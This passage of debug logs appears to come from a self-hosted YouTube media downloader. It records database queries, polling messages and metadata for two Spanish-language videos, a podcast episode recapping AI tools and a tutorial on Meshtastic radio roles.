UNBOXING Y PRUEBAS PORTABLE SOLAR GENERATOR A101 FLASHFISH", 1194, false, "0TZ-PijIoqg", "https://www.youtube.com/watch?v=0TZ-PijIoqg", "/downloads/music/ea3grn/162 - UNBOXING Y PRUEBAS PORTABLE SOLAR GENERATOR A101 FLASHFISH.m4a", false, 3, ~U[2025-06-05 17:00:04Z]] 22:09:58.609 [debug] QUERY OK source="sources" db=0.6ms idle=59.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:09:58.610 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:58.610 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1323] 22:09:58.611 [debug] Current batch of media processed. Will check again in 1000ms 22:09:59.578 [debug] Current batch of media processed. Will check again in 1000ms 22:09:59.611 [debug] Current batch of media processed. Will check again in 1000ms 22:10:00.086 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:00.579 [debug] Current batch of media processed. Will check again in 1000ms 22:10:00.612 [debug] Current batch of media processed. Will check again in 1000ms 22:10:01.580 [debug] Current batch of media processed. Will check again in 1000ms 22:10:01.613 [debug] Current batch of media processed. Will check again in 1000ms 22:10:02.581 [debug] Current batch of media processed. Will check again in 1000ms 22:10:02.614 [debug] Current batch of media processed. Will check again in 1000ms 22:10:03.582 [debug] Current batch of media processed. Will check again in 1000ms 22:10:03.615 [debug] Current batch of media processed. Will check again in 1000ms 22:10:04.583 [debug] Current batch of media processed. Will check again in 1000ms 22:10:04.616 [debug] Current batch of media processed. Will check again in 1000ms 22:10:05.584 [debug] Current batch of media processed. Will check again in 1000ms 22:10:05.617 [debug] Current batch of media processed. Will check again in 1000ms 22:10:06.585 [debug] Current batch of media processed. Will check again in 1000ms 22:10:06.618 [debug] Current batch of media processed. Will check again in 1000ms 22:10:07.586 [debug] Current batch of media processed. Will check again in 1000ms 22:10:07.619 [debug] Current batch of media processed. Will check again in 1000ms 22:10:08.587 [debug] Current batch of media processed. Will check again in 1000ms 22:10:08.620 [debug] Current batch of media processed. Will check again in 1000ms 22:10:09.588 [debug] Current batch of media processed. Will check again in 1000ms 22:10:09.621 [debug] Current batch of media processed. Will check again in 1000ms 22:10:10.589 [debug] Current batch of media processed. Will check again in 1000ms 22:10:10.622 [debug] Current batch of media processed. Will check again in 1000ms 22:10:11.590 [debug] Current batch of media processed. Will check again in 1000ms 22:10:11.623 [debug] Current batch of media processed. Will check again in 1000ms 22:10:12.591 [debug] Current batch of media processed. Will check again in 1000ms 22:10:12.624 [debug] Current batch of media processed. Will check again in 1000ms 22:10:13.592 [debug] Current batch of media processed. Will check again in 1000ms 22:10:13.625 [debug] Current batch of media processed. Will check again in 1000ms 22:10:14.593 [debug] Current batch of media processed. Will check again in 1000ms 22:10:14.626 [debug] Current batch of media processed. Will check again in 1000ms 22:10:15.594 [debug] Current batch of media processed. Will check again in 1000ms 22:10:15.627 [debug] Current batch of media processed. Will check again in 1000ms 22:10:16.595 [debug] Current batch of media processed. Will check again in 1000ms 22:10:16.628 [debug] Current batch of media processed. Will check again in 1000ms 22:10:17.596 [debug] Current batch of media processed. Will check again in 1000ms 22:10:17.629 [debug] Current batch of media processed. Will check again in 1000ms 22:10:18.597 [debug] Current batch of media processed. Will check again in 1000ms 22:10:18.630 [debug] Current batch of media processed. Will check again in 1000ms 22:10:19.598 [debug] Current batch of media processed. Will check again in 1000ms 22:10:19.631 [debug] Current batch of media processed. Will check again in 1000ms 22:10:20.599 [debug] Current batch of media processed. Will check again in 1000ms 22:10:20.632 [debug] Current batch of media processed. Will check again in 1000ms 22:10:21.135 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:21.600 [debug] Current batch of media processed. Will check again in 1000ms 22:10:21.633 [debug] Current batch of media processed. Will check again in 1000ms 22:10:22.601 [debug] Current batch of media processed. Will check again in 1000ms 22:10:22.634 [debug] Current batch of media processed. Will check again in 1000ms 22:10:23.602 [debug] Current batch of media processed. Will check again in 1000ms 22:10:23.635 [debug] Current batch of media processed. Will check again in 1000ms 22:10:24.603 [debug] Current batch of media processed. Will check again in 1000ms 22:10:24.636 [debug] Current batch of media processed. Will check again in 1000ms 22:10:25.604 [debug] Current batch of media processed. Will check again in 1000ms 22:10:25.637 [debug] Current batch of media processed. Will check again in 1000ms 22:10:26.605 [debug] Current batch of media processed. Will check again in 1000ms 22:10:26.638 [debug] Current batch of media processed. Will check again in 1000ms 22:10:27.606 [debug] Current batch of media processed. Will check again in 1000ms 22:10:27.639 [debug] Current batch of media processed. Will check again in 1000ms 22:10:28.607 [debug] Current batch of media processed. Will check again in 1000ms 22:10:28.640 [debug] Current batch of media processed. Will check again in 1000ms 22:10:29.608 [debug] Current batch of media processed. Will check again in 1000ms 22:10:29.641 [debug] Current batch of media processed. Will check again in 1000ms 22:10:30.609 [debug] Current batch of media processed. Will check again in 1000ms 22:10:30.642 [debug] Current batch of media processed. Will check again in 1000ms 22:10:31.611 [debug] Current batch of media processed. Will check again in 1000ms 22:10:31.643 [debug] Current batch of media processed. Will check again in 1000ms 22:10:32.611 [debug] Current batch of media processed. Will check again in 1000ms 22:10:32.644 [debug] Current batch of media processed. Will check again in 1000ms 22:10:33.612 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "👉🏼 Ep3️⃣1️⃣: Repaso 30 episodios IAMIQUE . 🤯\n\nDavid García Martínez y yo hacemos una recapitulación de los 30 episodios que hemos realizado y además os dejamos un regalo. Lo podréis ver al final del episodio... pero os lo adelantando por aquí.\n\nNos habéis pedido un listado de los episodios... pues en el primer comentario lo tendréis pero mejor aun, en el link que aparece en el primer episodio hay acceso publico a un notebookLM desde el que podréis preguntar en que episodio se ha hablado de esto o de lo otro y podréis ir a el, también podréis preguntar con que IA puedo hacer esto y os saldrá la recomendación y el capitulo en el que lo hemos hecho.\n\nAsí que ya no tienes escusa para empezar por una cosa o por otra ni tampoco para no seguirnos.\n\nBueno esperamos que os guste y que nos compartáis alguna de vuestras creaciones en los comentarios.\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ModoEstudio hashtag#nanobanana hashtag#kimiAI hashtag#napkinAI hashtag#GammaAI hashtag#IAGen hashtag#GenAI hashtag#ChatGPT hashtag#Claude hashtag#VibeCoding hashtag#FireFlies hashtag#ListadoIA\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 764, "filename" => "/downloads/music/IA mí QUÉ/EP.31: Repaso episodios IAMIQUE 🤯.m4a", "id" => "Pzb0xf5U4hk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Pzb0xf5U4hk", "playlist_index" => 19, "timestamp" => 1759479821, "title" => "EP.31: Repaso episodios IAMIQUE 🤯", "upload_date" => "20251003"} 22:10:33.614 [debug] QUERY OK source="sources" db=1.3ms idle=1858.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:10:33.615 [debug] QUERY OK source="sources" db=1.1ms idle=1859.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:10:33.617 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-03 08:23:41Z], 2] 22:10:33.619 [debug] QUERY OK source="media_items" db=1.2ms idle=863.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👉🏼 Ep3️⃣1️⃣: Repaso 30 episodios IAMIQUE . 🤯\n\nDavid García Martínez y yo hacemos una recapitulación de los 30 episodios que hemos realizado y además os dejamos un regalo. Lo podréis ver al final del episodio... pero os lo adelantando por aquí.\n\nNos habéis pedido un listado de los episodios... pues en el primer comentario lo tendréis pero mejor aun, en el link que aparece en el primer episodio hay acceso publico a un notebookLM desde el que podréis preguntar en que episodio se ha hablado de esto o de lo otro y podréis ir a el, también podréis preguntar con que IA puedo hacer esto y os saldrá la recomendación y el capitulo en el que lo hemos hecho.\n\nAsí que ya no tienes escusa para empezar por una cosa o por otra ni tampoco para no seguirnos.\n\nBueno esperamos que os guste y que nos compartáis alguna de vuestras creaciones en los comentarios.\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ModoEstudio hashtag#nanobanana hashtag#kimiAI hashtag#napkinAI hashtag#GammaAI hashtag#IAGen hashtag#GenAI hashtag#ChatGPT hashtag#Claude hashtag#VibeCoding hashtag#FireFlies hashtag#ListadoIA\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.31: Repaso episodios IAMIQUE 🤯", "2d8c80b1-2298-4a56-93a0-d7c9b9b6f76a", 764, false, "Pzb0xf5U4hk", "https://www.youtube.com/watch?v=Pzb0xf5U4hk", 19, "/downloads/music/IA mí QUÉ/EP.31: Repaso episodios IAMIQUE 🤯.m4a", false, false, false, 2, [], 98, ~U[2025-10-03 08:23:41Z], ~U[2026-02-07 21:10:33Z], ~U[2026-02-07 21:10:33Z], "👉🏼 Ep3️⃣1️⃣: Repaso 30 episodios IAMIQUE . 🤯\n\nDavid García Martínez y yo hacemos una recapitulación de los 30 episodios que hemos realizado y además os dejamos un regalo. Lo podréis ver al final del episodio... pero os lo adelantando por aquí.\n\nNos habéis pedido un listado de los episodios... pues en el primer comentario lo tendréis pero mejor aun, en el link que aparece en el primer episodio hay acceso publico a un notebookLM desde el que podréis preguntar en que episodio se ha hablado de esto o de lo otro y podréis ir a el, también podréis preguntar con que IA puedo hacer esto y os saldrá la recomendación y el capitulo en el que lo hemos hecho.\n\nAsí que ya no tienes escusa para empezar por una cosa o por otra ni tampoco para no seguirnos.\n\nBueno esperamos que os guste y que nos compartáis alguna de vuestras creaciones en los comentarios.\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ModoEstudio hashtag#nanobanana hashtag#kimiAI hashtag#napkinAI hashtag#GammaAI hashtag#IAGen hashtag#GenAI hashtag#ChatGPT hashtag#Claude hashtag#VibeCoding hashtag#FireFlies hashtag#ListadoIA\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.31: Repaso episodios IAMIQUE 🤯", 764, false, "Pzb0xf5U4hk", "https://www.youtube.com/watch?v=Pzb0xf5U4hk", "/downloads/music/IA mí QUÉ/EP.31: Repaso episodios IAMIQUE 🤯.m4a", false, 2, ~U[2025-10-03 08:23:41Z]] 22:10:33.620 [debug] QUERY OK source="sources" db=0.5ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:10:33.620 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:33.621 [debug] QUERY OK source="media_items" db=0.5ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1271] 22:10:33.621 [debug] Current batch of media processed. Will check again in 1000ms 22:10:33.645 [debug] Current batch of media processed. Will check again in 1000ms 22:10:34.622 [debug] Current batch of media processed. Will check again in 1000ms 22:10:34.646 [debug] Current batch of media processed. Will check again in 1000ms 22:10:35.623 [debug] Current batch of media processed. Will check again in 1000ms 22:10:35.647 [debug] Current batch of media processed. Will check again in 1000ms 22:10:36.624 [debug] Current batch of media processed. Will check again in 1000ms 22:10:36.648 [debug] Current batch of media processed. Will check again in 1000ms 22:10:37.626 [debug] Current batch of media processed. Will check again in 1000ms 22:10:37.649 [debug] Current batch of media processed. Will check again in 1000ms 22:10:38.627 [debug] Current batch of media processed. Will check again in 1000ms 22:10:38.650 [debug] Current batch of media processed. Will check again in 1000ms 22:10:39.627 [debug] Current batch of media processed. Will check again in 1000ms 22:10:39.651 [debug] Current batch of media processed. Will check again in 1000ms 22:10:40.628 [debug] Current batch of media processed. Will check again in 1000ms 22:10:40.652 [debug] Current batch of media processed. Will check again in 1000ms 22:10:41.629 [debug] Current batch of media processed. Will check again in 1000ms 22:10:41.653 [debug] Current batch of media processed. Will check again in 1000ms 22:10:42.630 [debug] Current batch of media processed. Will check again in 1000ms 22:10:42.654 [debug] Current batch of media processed. Will check again in 1000ms 22:10:43.631 [debug] Current batch of media processed. Will check again in 1000ms 22:10:43.655 [debug] Current batch of media processed. Will check again in 1000ms 22:10:44.632 [debug] Current batch of media processed. Will check again in 1000ms 22:10:44.656 [debug] Current batch of media processed. Will check again in 1000ms 22:10:45.633 [debug] Current batch of media processed. Will check again in 1000ms 22:10:45.657 [debug] Current batch of media processed. Will check again in 1000ms 22:10:46.634 [debug] Current batch of media processed. Will check again in 1000ms 22:10:46.658 [debug] Current batch of media processed. Will check again in 1000ms 22:10:47.635 [debug] Current batch of media processed. Will check again in 1000ms 22:10:47.659 [debug] Current batch of media processed. Will check again in 1000ms 22:10:48.636 [debug] Current batch of media processed. Will check again in 1000ms 22:10:48.660 [debug] Current batch of media processed. Will check again in 1000ms 22:10:49.637 [debug] Current batch of media processed. Will check again in 1000ms 22:10:49.661 [debug] Current batch of media processed. Will check again in 1000ms 22:10:50.638 [debug] Current batch of media processed. Will check again in 1000ms 22:10:50.662 [debug] Current batch of media processed. Will check again in 1000ms 22:10:51.137 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:51.639 [debug] Current batch of media processed. Will check again in 1000ms 22:10:51.663 [debug] Current batch of media processed. Will check again in 1000ms 22:10:52.640 [debug] Current batch of media processed. Will check again in 1000ms 22:10:52.664 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video podemos ver como funciona el protocolo de Meshtastic y como los roles influyen. Y porqué no hay que usar ROUTER casi nunca.\n\n#meshtastic #lora #radioaficionados #hamradio #preparacionismo #preppers #redesmesh\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2740, "filename" => "/downloads/music/ea3grn/161 - ENTENDER MESHTASTIC Y LOS ROLES.m4a", "id" => "JLGzeNaiDoE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JLGzeNaiDoE", "playlist_index" => 20, "timestamp" => 1748534426, "title" => "161 - ENTENDER MESHTASTIC Y LOS ROLES", "upload_date" => "20250529"} 22:10:52.665 [debug] QUERY OK source="sources" db=0.5ms idle=1910.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:10:52.666 [debug] QUERY OK source="sources" db=0.4ms idle=1910.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:10:52.667 [debug] QUERY OK source="media_items" db=0.7ms idle=1528.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-29 16:00:26Z], 3] 22:10:52.698 [debug] QUERY OK source="media_items" db=30.5ms idle=1015.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video podemos ver como funciona el protocolo de Meshtastic y como los roles influyen. Y porqué no hay que usar ROUTER casi nunca.\n\n#meshtastic #lora #radioaficionados #hamradio #preparacionismo #preppers #redesmesh\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "161 - ENTENDER MESHTASTIC Y LOS ROLES", "9192fc56-34ae-4f4a-87bf-40b3532f84d2", 2740, false, "JLGzeNaiDoE", "https://www.youtube.com/watch?v=JLGzeNaiDoE", 20, "/downloads/music/ea3grn/161 - ENTENDER MESHTASTIC Y LOS ROLES.m4a", false, false, false, 3, [], 98, ~U[2025-05-29 16:00:26Z], ~U[2026-02-07 21:10:52Z], ~U[2026-02-07 21:10:52Z], "En este video podemos ver como funciona el protocolo de Meshtastic y como los roles influyen. Y porqué no hay que usar ROUTER casi nunca.\n\n#meshtastic #lora #radioaficionados #hamradio #preparacionismo #preppers #redesmesh\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "161 - ENTENDER MESHTASTIC Y LOS ROLES", 2740, false, "JLGzeNaiDoE", "https://www.youtube.com/watch?v=JLGzeNaiDoE", "/downloads/music/ea3grn/161 - ENTENDER MESHTASTIC Y LOS ROLES.m4a", false, 3, ~U[2025-05-29 16:00:26Z]] 22:10:52.699 [debug] QUERY OK source="sources" db=1.4ms idle=44.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:10:52.700 [debug] QUERY OK source="media_profiles" db=0.5ms idle=34.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:52.701 [debug] QUERY OK source="media_items" db=0.5ms idle=34.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1326] 22:10:52.701 [debug] Current batch of media processed. Will check again in 1000ms 22:10:53.641 [debug] Current batch of media processed. Will check again in 1000ms 22:10:53.702 [debug] Current batch of media processed. Will check again in 1000ms 22:10:54.642 [debug] Current batch of media processed. Will check again in 1000ms 22:10:54.703 [debug] Current batch of media processed. Will check again in 1000ms 22:10:55.643 [debug] Current batch of media processed. Will check again in 1000ms 22:10:55.704 [debug] Current batch of media processed. Will check again in 1000ms 22:10:56.644 [debug] Current batch of media processed. Will check again in 1000ms 22:10:56.705 [debug] Current batch of media processed. Will check again in 1000ms 22:10:57.645 [debug] Current batch of media processed. Will check again in 1000ms 22:10:57.706 [debug] Current batch of media processed. Will check again in 1000ms 22:10:58.646 [debug] Current batch of media processed. Will check again in 1000ms 22:10:58.707 [debug] Current batch of media processed. Will check again in 1000ms 22:10:59.647 [debug] Current batch of media processed. Will check again in 1000ms 22:10:59.708 [debug] Current batch of media processed. Will check again in 1000ms 22:11:00.087 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:00.648 [debug] Current batch of media processed. Will check again in 1000ms 22:11:00.709 [debug] Current batch of media processed. Will check again in 1000ms 22:11:01.649 [debug] Current batch of media processed. Will check again in 1000ms 22:11:01.710 [debug] Current batch of media processed. Will check again in 1000ms 22:11:02.650 [debug] Current batch of media processed. Will check again in 1000ms 22:11:02.711 [debug] Current batch of media processed. Will check again in 1000ms 22:11:03.651 [debug] Current batch of media processed. Will check again in 1000ms 22:11:03.712 